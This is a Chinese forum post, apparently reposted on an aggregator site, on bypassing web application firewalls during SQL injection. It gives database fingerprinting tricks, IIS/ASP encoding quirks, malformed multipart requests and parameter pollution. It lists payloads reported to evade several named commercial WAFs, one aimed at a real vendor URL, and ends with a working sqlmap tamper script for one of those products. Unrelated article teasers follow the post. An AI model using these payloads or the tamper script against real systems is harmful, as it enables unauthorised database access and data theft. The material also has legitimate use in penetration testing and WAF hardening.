mysql注入fuzz字典_sql注入fuzz bypass waf

本帖最后由 xmidf 于 2018-7-11 10:16 編輯

作者:whynot? ?? ?轉自:先知

0x0 前言

這里是簡單對sql注入繞過waf的一個小總結,非安全研究員,這里不講原理,關于原理搜集了一些其他大佬的文章(文章在最下面請自取),感謝他們的分享,比著葫蘆畫瓢,對著各大waf廠商跟著師傅們來一波實戰,進行一個簡單的總結。

0x1 注入點檢測

一般的注入還是很好判斷的,特別是基于報錯,但有的時候略微有些奇葩的環境,再加上一些亂七八糟 waf,就比較難搞了,這里簡單總結了一些方法。

利用數據庫獨有的一些函數

access??asc chr len #access-functions

mysql? ?substring? ?substr length

mssql? ?char ascii len substring? ? #mssql function str

oracle??ascii??chr length??substr upper lower replace(x,old,new)

這些數據庫中一個通用的函數就是abs,如果覺得是int型注入不妨先試試2-abs(1),然后結合各類數據庫的一些函數來判斷是什么數據庫的注入,當然對數據庫了解越多越好。

改變請求方式

根據經驗,一般情況下各腳本對http request method如下,這里以GET為例子,針對www.vul.com/?id=1來進行判斷。

php GET

aspx GET

asp GET POST COOKIE

jsp GET POST

平常滲透測試中總是遇到各種各樣的waf,有的時候一個單引號就死了,這個時候首選的一些方法就是轉換請求頭了,畢竟GET不如POST,POST不如multipart/form-data,當然不要看到php就不去轉換,任何情況下都要嘗試一下。

當然,可以用burp很方便的來進行change request method以及change body encoding。

之前碰到過一個有趣的例子,asp的站點可以通過cookie提交數據,而且可以使用len函數,可以初步判斷為access或者mssql數據庫,但是還是很頭疼,最后一位大哥使用下面的函數可以判斷成功。www.vul.com/2.asp?id=482

483-chr(chr(52)&chr(57))? ? #=482

chr(52) ‘4’

chr(57) ‘9’

chr(49) ‘1’ #chr(52)&chr(57)為49 chr(49)為1 雖然最后也沒什么卵用但還是挺有意思的

數據庫特性

mysql? ?注釋符號# –+ ` ;%00 // 字符串可以使用成對的引號’admin’ = admin’’’

mssql? ?注釋符號– // ;%00

oracle??注釋符號– /**/ admin=adm’||’in

空白符號MySQL5 09 0A 0B 0C 0D A0 20

Oracle 00 0A 0D 0C 09 20

MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

mysql和mssql可以使用|來進行相關的運算,而oracle會把||當成連接字符。

[AppleScript] 純文本查看 復制代碼1. iis+asp(x)

1.%u特性: iis支持對unicode的解析,如:payload為[s%u006c%u0006ect],解析出來后則是[select]

%u0061nd 1=1

另類%u特性: unicode在iis解析之后會被轉換成multibyte,但是轉換的過程中可能出現:多個widechar可能會轉換為同一個字符。

如:select中的e對應的unicode為%u0065,但是%u00f0同樣會被轉換成為e s%u00f0lect

iis+asp

2.%特性: union selec%t user fr%om dd #iis+asp asp+iis環境下會忽略掉百分號,如:payload為[sele%ct], 解析出來后則是[select]

3.asp/asp.net在解析請求的時候,允許Content-Type: application/x-www-form-urlencoded的數據提交方式select%201%20from%20user

asp/asp.net request解析:

4.在asp和asp.net中獲取用戶的提交的參數一般使用request包,當使用request(‘id’)的形式獲取包的時候,會出現GET,POST分不清的情況,譬如可以構造一個請求包,METHOD為GET,但是包中還帶有POST的內容和POST的content-type, 換一種理解方式也就是將原本的post數據包的method改成GET,如果使用request(‘id’)方式獲取數據,仍會獲取到post的內容

2. php+apache畸形的boundary

1.php在解析multipart data的時候有自己的特性,對于boundary的識別,只取了逗號前面的內容,例如我們設置的boundary為—-aaaa,123456,php解析的時候只識別了—-aaaa,后面的內容均沒有識別。然而其他的如WAF在做解析的時候,有可能獲取的是整個字符串,此時可能就會出現BYPASS

Content-Type: multipart/form-data; boundary=------,xxxx

Content-Length: 191

------,xxxx

Content-Disposition: form-data; name="img"; filename="img.gif"

GIF89a

------

Content-Disposition: form-data; name="id"

1' union select null,null,flag,null from flag limit 1 offset 1-- -

--------

------,xxxx--

2.畸形method(header頭中)

某些apache版本在做GET請求的時候,無論method為何值均會取出GET的內容。如請求的method名為DOTA,依然會返回GET方法的值,即,可以任意替換GET方法為其它值,但仍能有效工作,但如果waf嚴格按照GET方法取值,則取不到任何內容

3. web應用層

1.雙重URL編碼: 即web應用層在接受到經過服務器層解碼后的參數后,又進行了一次URL解碼

2.變換請求方式:

在web應用中使用了統一獲取參數的方式: 如php里使用$_REQUEST獲取參數,但WAF層如果過濾不全則容易bypass,如,waf層過濾了get/post,但沒有過濾cookie,而web應用層并不關心參數是否來自cookie

urlencode和form-data: POST在提交數據的時候有兩種方式,第一種方式是使用urlencode的方式提交,第二種方式是使用form-data的方式提交。當我們在測試的時候,如果發現POST提交的數據被過濾掉了,此時可以考慮使用form-data的方式去提交

4. hpp

asp.net + iis:id=1,2,3 #?str=a%27/*&str=*/and/*&str=*/@@version=0--

asp + iis :id=1,2,3

php + apache :id=3

jsp + tomcat :id=1

這里提供一種針對普通檢測的方法,大家可自行發揮。mysql int型: %20%26%201=1??mysql.php?id=1%20%26%201=1

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w1.png (1.24 MB, 下載次數: 74)

2018-7-11 17:53 上傳另外在字符型中 ‘and’1’=’1是不需要加空格的,有時候也可以繞過一些waf判斷

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w2.png (1.03 MB, 下載次數: 86)

2018-7-11 17:54 上傳

0x2 bypasswaf

由于mysql的靈活性,這里以mysql繞過為主,針對各大主流waf廠商進行一個測試,主要測試在線版的,本地就安裝了一個360主機衛士。

其中http://192.168.44.132/mysql.php?id=1是我本地的一個測試環境

其中下面的繞過都是以fuzz為主,不考慮web容器的特性,嘗試繞過聯合查詢 -1 union select 1,2,3 from dual

百度云加速bypass? ?? ?union select? ? #filter

from dual? ?#not filted

select from dual? ? #filter

只需要繞過select即可 使用--+aaaaaa%0a可bypass

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w3.png (647.51 KB, 下載次數: 84)

2018-7-11 17:55 上傳

360主機衛士bypass? ?? ?發現%23%0aand%230a1=1? ? 可以繞過and 1=1 限制

最后在union select from的時候卻繞不過去

直接使用大字符串來fuzz %23-FUZZ-%0a https://github.com/minimaxir/big-list-of-naughty-strings/blob/master/blns.txt 發現可以成功繞過waf

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w4.png (192.78 KB, 下載次數: 86)

2018-7-11 17:57 上傳

云鎖? ?? ? union select 如下就可以繞過

http://www.yunsuo.com.cn/download.html?id=1%20union/*!/*!select%201,2,3*/

轉換成multiform/data可輕松繞過

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w5.png (130.86 KB, 下載次數: 90)

2018-7-11 17:58 上傳

安全狗bypass? ?? ?直接搞就行了

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w6.png (898.17 KB, 下載次數: 91)

2018-7-11 17:58 上傳

當然也可以chunked提交

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w7.png (2.02 MB, 下載次數: 99)

2018-7-11 17:59 上傳

阿里云嘗試使用自定義變量方式來繞過 @a:=(select @b:=table_namefrom{a information_schema.TABLES }limit 0,1)union select '1',@a

@p:=(select)被過濾 fuzz下p參數使用@$:=(select)可以繞過

union select 1被過濾? ?使用union%23aa%0a/!select--%01%0a/1,@$,3 可以繞過

發現重點就是繞過表名 select 1 from dual 一些常規的方法測試無果 隨便fuzz下注釋/!數字/卻偶然發現有倆個數據包遺漏

想起了以前烏云上一哥的的一個漏洞https://wooyun.shuimugan.com/bug/view?bug_no=94367

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w8.png (192.62 KB, 下載次數: 93)

2018-7-11 18:00 上傳難道是因為訪問頻率導致遺漏?隨即我又進行了一些fuzz fuzz1w到5w數字型的注釋 加大線程 發現遺漏了更多

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w9.png (201.65 KB, 下載次數: 79)

2018-7-11 18:00 上傳我想測試一下之前的waf挑戰賽,發現之前提交的payload已經修復了,而且那個漏洞url無法訪問了

60f2b3a85eb3c8d57520d8fb9a0093fa.gif??所以無法確認。

隨即我又進行了一些超長字符串的fuzz 簡單fuzz1w-10w 以500為step 發現現象更多了 可初步判斷存在遺漏

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w10.png (216.08 KB, 下載次數: 108)

2018-7-11 18:01 上傳

### 0x3 自動化

以360主機衛士為例,編寫sqlmap tamper腳本。

正常無waf sqlmap聯合查詢如下:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w11.png (237.26 KB, 下載次數: 98)

2018-7-11 18:01 上傳

開啟主機衛士,放到瀏覽器調試,修改相關payload使其能正常運行。

最后tamper腳本如下:

[AppleScript] 純文本查看 復制代碼from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOW

def dependencies():

pass

def tamper(payload, **kwargs):

"""

Replaces keywords

>>> tamper('UNION SELECT id FROM users')

'1 union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/ NULL,/*!12345CONCAT*/(0x7170706271,IFNULL(/*!12345CASt(*/COUNT(*) AS CHAR),0x20),0x7171786b71),NULL/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e AND table_schema=0x73716c696e6a656374--

"""

if payload:

payload=payload.replace("UNION ALL SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")

payload=payload.replace("UNION SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")

payload=payload.replace(" FROM ","/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/")

payload=payload.replace("CONCAT","/*!12345CONCAT*/")

payload=payload.replace("CAST(","/*!12345CAST(*/")

payload=payload.replace("CASE","/*!12345CASE*/")

payload=payload.replace("DATABASE()","database/**/()")

return payload

可以成功獲取到相關數據。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

w12.png (448.23 KB, 下載次數: 94)

2018-7-11 18:02 上傳

其他參考鏈接如下:

[AppleScript] 純文本查看 復制代碼http://www.anquan.us/search?keywords=bypass&content_search_by=by_bugs

[url]http://drops.xmd5.com/static/drops/tips-7883.html[/url]

[url]https://xianzhi.aliyun.com/forum/attachment/big_size/wafbypass_sql.pdf[/url]

[url]http://drops.xmd5.com/static/drops/papers-4323.html[/url]

[url]https://www.cnblogs.com/xiaozi/p/6927348.html[/url]

[url]http://swende.se/blog/HTTPChunked.html#[/url]

[url]https://xz.aliyun.com/t/1239[/url]

[url]http://www.sqlinjectionwiki.com/categories/2/mysql-sql-injection-cheat-sheet/[/url]

[url]https://mp.weixin.qq.com/s/S318-e4-eskfRG38HZk_Qw[/url]

[url]https://joychou.org/web/nginx-Lua-waf-general-bypass-method.html[/url] #nginx lua waf

[url]https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF[/url]

[url]https://websec.ca/kb/sql_injection#MySQL_Comment_Out_Query[/url]

[url]https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423[/url]

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/529713.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/529713.shtml
英文地址,請注明出處:http://en.pswp.cn/news/529713.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

python如何開發網站_如何用Python寫一個小網站?

一、準備 python基礎相關準備:pygame的基礎知識,參考目光博客的“用Python和Pygame寫游戲-從入門到精通”安python 3.8.0 在python官網下載,不多說。安裝pygame,命令:pip install pygame如安裝較慢,可以參考…

python項目選擇背景_Python - - 項目實戰 - - 游戲背景

目標背景交替滾動的思路確定顯示游戲背景01,背景交替滾動的思路確定運行 備課代碼,觀察 背景圖像的顯示效果:游戲啟動后,背景圖像 會 連續不斷地 向下方 移動在 視覺上 產生英雄的飛機不斷向上方飛行的 錯覺 - - 在很多跑酷游戲中…

【AI】人工智能復興的推進器之自然語言處理

目錄 一、什么是自然語言處理 二、詞袋模型 三、向量 四、代碼示例 五、大模型和自然語言處理 接上篇:【AI】人工智能復興的推進器之機器學習-CSDN博客 一、什么是自然語言處理 自然語言處理(Natural Language Processing,NLP&#xf…

css阻止換行_CSS中,如何處理短內容和長內容?

本文已經過原作者 shadeed 授權翻譯。當我們使用 CSS 構建布局時,考慮長短文本內容很重要,如果能清楚地知道當文本長度變化時需要怎么處理,可以避免很多不必要的問題。在許多情況下,添加或刪除一個單詞會改變 UI 的外觀&#xff0…

duilib設置透明窗口_界面開發心得與Duilib | 學步園

一、設置窗體透明度和指定透明色(如指定了黑色,即所有黑色的部分將會變得透明)DWORD dwExStyleGetWindowLong(m_hWnd,GWL_EXSTYLE);if((dwExStyle&WS_EX_LAYERED)!WS_EX_LAYERED)SetWindowLong(m_hWnd,GWL_EXSTYLE,dwExStyle|WS_EX_LAYERED);HMODULE hInst Loa…

influxdb無法實現關聯表_InfluxDb專業術語

InfluxDb專業術語重復是最好的學習方式,我們再重復一些Influx的概念吧,雖然很多已經講過,甚至上一課已經講了。我發現我自己還是有點啰嗦,不過這可能是一種好的學習方法哦。聚合函數aggregationaggregation是一個InfluxQL的函數&a…

mysql排序區分大小寫嗎_MySQL操作數據時區分大小寫

一般情況下使用SQL語句執行update login_ticket set status1 where ticket‘ABC‘會將ticket’abc‘的數據也改掉,那么需要在列名ticket的后面加上collate utf8_binupdate login_ticket set status1 where ticket COLLATE utf8_bin‘ABC‘這里的collate后面的是指該…

java的四種訪問權限_Java四種訪問權限

一、訪問權限簡介訪問權限控制: 指的是本類及本類內部的成員(成員變量、成員方法、內部類)對其他類的可見性,即這些內容是否允許其他類訪問。Java 中一共有四種訪問權限控制,其權限控制的大小情況是這樣的:public > protected …

java分割漢字_Java分割中英文,并且中文不能分割一半?

最近準備入其他坑位。在面試過程中,遇到下面這題筆試題,拿出來分享分享。題目:編寫一個截取字符串的函數,輸入為一個字符串和字節數,輸出為按字節截取的字符串。但是要保證漢字不被截半個,如“我ABC”4&…

full gc JAVA_java觸發full gc的幾種情況概述

前言近期被問及這個問題,在此記錄整理一下。System.gc()方法的調用此方法的調用是建議JVM進行Full GC,雖然只是建議而非一定,但很多情況下它會觸發 Full GC,從而增加Full GC的頻率,也即增加了間歇性停頓的次數。強烈影響系建議能不使用此方法就別使用,讓…

java excel條件格式_Java 設置Excel條件格式(高亮條件值、應用單元格值/公式/數據條等類型)...

概述在Excel中,應用條件格式功能可以在很大程度上改進表格的設計和可讀性,用戶可以指定單個或者多個單元格區域應用一種或者多種條件格式。本篇文章,將通過Java程序示例介紹條件格式的設置方法,設置條件格式時,因不同設…

java order()_java.util.Collections.reverseOrder()

描述reverseOrder()方法被用來獲取強加實現可比接口的對象collection的自然順序相反的比較器。聲明以下是java.util.Collections.reverseOrder()方法的聲明。public static Comparator reverseOrder()參數NA返回值方法調用返回一個比較器,該比較器對實現Comparable接…

jsp mysql登錄 demo_java jsp+servlet+mysql實現登錄網頁設計

涉及以下幾個文件:1。登錄頁面 login.jsp2,成功跳轉頁面 success.jsp3,失敗跳轉頁面 fail.jsp4,servlet 處理類 LoginTestServlet.java5,配置文件 web.xml--------------------------------------------- 依次看代碼 …

libsvm java下載_一個基于LIBSVM(JAVA)的股票預測demo

【實例簡介】一個基于LIBSVM的股票價格預測程序,采用隨機森林算法對樣本進行訓練和預測,使用的編程語言為JAVA。【實例截圖】【核心代碼】stock-master└── stock-master├── data│ ├── 000752.csv│ ├── 300251.csv│ ├── 300329.c…

mysql 家譜樹查詢_中國家譜族譜數據庫可以登錄、查詢了

原標題:中國家譜族譜數據庫可以登錄、查詢了中青在線武漢6月6日電(黨波濤 中國青年報中青在線記者 雷宇)數據量全球第一,最早可追溯到明朝萬歷年間。華中師范大學中國農村研究院今天對外發布,由該院建設的中國家譜族譜數據庫正式上線&#xf…

mysql-5.5.56配置_mysql 5.5.56免安裝版配置方法

mysql 5.5.56免安裝版配置方法發布時間:2020-10-18 23:16:23來源:腳本之家閱讀:74作者:阿安安mysql 5.5.56免安裝版配置方法,本文通過文字代碼詳解,具體內容如下所示:1. 下載mysql-5.5.56-winx6…

MySQL命令梳理_MySQL操作命令梳理(2)

一、表操作在mysql運維操作中會經常使用到alter這個修改表的命令,alter tables允許修改一個現有表的結構,比如增加或刪除列、創造或消去索引、改變現有列的類型、或重新命名列或表本身,也能改變表的注釋和表的類型。下面就針對alter修改命令的…

java 進度條_進度條Java

你必須使用線程.設計一個實現Runnable接口的類,它將更新這樣的值.class ProgressBarUpdator implements java.lang.Runnable {/*** Progress bar that shows the current status*/private javax.swing.JProgressBar jpb null;/*** Progress bar value*/private java.lang.Inte…

java 文件存儲_文件存儲學生信息(JavaIO流)

package com;import java.io.File;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.util.Scanner;/*** author Administrator*1.要求:有五個學生,每個學生有姓名、年齡 、成績三個屬性&a…

位運算java_Java中的位運算

Java中的位運算,說實話,工作了兩年的時間里,從來沒有用過一次,因為平時都是些的是業務代碼,很少接觸比較底層的東西,我記得第一次在代碼中看到還是在HashMap的Hash算法中看到的,這次重拾Java基礎…